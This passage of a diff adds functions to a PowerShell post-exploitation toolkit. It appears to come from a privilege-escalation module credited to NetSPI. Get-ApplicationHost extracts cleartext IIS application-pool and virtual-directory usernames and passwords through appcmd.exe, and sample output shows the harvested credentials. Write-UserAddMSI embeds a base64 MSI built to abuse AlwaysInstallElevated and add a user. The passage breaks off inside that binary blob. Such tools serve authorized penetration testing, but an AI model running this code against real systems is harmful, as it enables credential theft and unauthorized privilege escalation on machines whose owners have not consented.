+ vdir : site2/ + apppool : NA + + .EXAMPLE + + Return a list of cleartext and decrypted connect strings from web.config files. + + PS C:\>get-ApplicationHost | Format-Table -Autosize + + user pass type vdir apppool + ---- ---- ---- ---- ------- + PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 + PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 + VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA + VdirUser2 VdirPassword2! Virtual Directory site2/ NA + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 + http://www.netspi.com + http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe + http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + + .NOTES + + Author: Scott Sutherland - 2014, NetSPI + Version: Get-ApplicationHost v1.0 + Comments: Should work on IIS 6 and Above +#> + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) + { + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add("user") + $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("type") + $Null = $DataTable.Columns.Add("vdir") + $Null = $DataTable.Columns.Add("apppool") + + # Get list of application pools + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { + + #Get application pool name + $PoolName = $_ + + #Get username + $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" + $PoolUser = Invoke-Expression $PoolUserCmd + + #Get password + $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" + $PoolPassword = Invoke-Expression $PoolPasswordCmd + + #Check if credentials exists + if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) + { + #Add credentials to database + $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) + } + } + + # Get list of virtual directories + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { + + #Get Virtual Directory Name + $VdirName = $_ + + #Get username + $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" + $VdirUser = Invoke-Expression $VdirUserCmd + + #Get password + $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" + $VdirPassword = Invoke-Expression $VdirPasswordCmd + + #Check if credentials exists + if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) + { + #Add credentials to database + $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') + } + } + + # Check if any passwords were found + if( $DataTable.rows.Count -gt 0 ) { + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique + } + else{ + # Status user + Write-Verbose "No application pool or virtual directory passwords were found." + $False + } + }else{ + Write-Verbose "Appcmd.exe does not exist in the default location." + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Write-UserAddMSI { +<# + .SYNOPSIS + + Writes out a precompiled MSI installer that prompts for a user/group addition. + This function can be used to abuse Get-RegAlwaysInstallElevated. + + .EXAMPLE + + PS C:\> Write-UserAddMSI + + Writes the user add MSI to the local directory. +#> + + $Path = "UserAdd.msi" + + $Binary = "0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAEAP7/DAAGAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP3////+/////v///y8AAAAFAAAABgAAAP7///8IAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAACwAAAAYAAAAFgAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAD+////LQAAAC4AAAAwAAAA/v///zEAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAP//////////AgAAAIQQDAAAAAAAwAAAAAAAAEYAAAAAAAAAAAAAAABQSJaT62LPAQMAAABAFwAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBEAAAABkAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANgBAAAAAAAAQEj/P+RD7EHkRaxEMUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAgEVAAAAAwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAEAgAAAAAAABASMpBMEOxOztCJkY3QhxCNEZoRCZCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAACAQQAAAABAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoAAAAwAAAAAAAAAEBIykEwQ7E/Ej8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAIBEgAAAA0AAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKwAAABgAAAAAAAAAQEjKQflFzkaoQfhFKD8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAKgAAAAAAAABASAtDMUE1RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAP7/////////CgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAD+/////v////7////+////MwAAAP7////+/////v////7////+////OgAAADUAAAA2AAAA/v////7////+/////v///zsAAAA9AAAA/v///z4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAASQAAAEoAAAD+////TAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAFMAAABUAAAAVQAAAP7////+////WAAAAP7////+/////v///1wAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////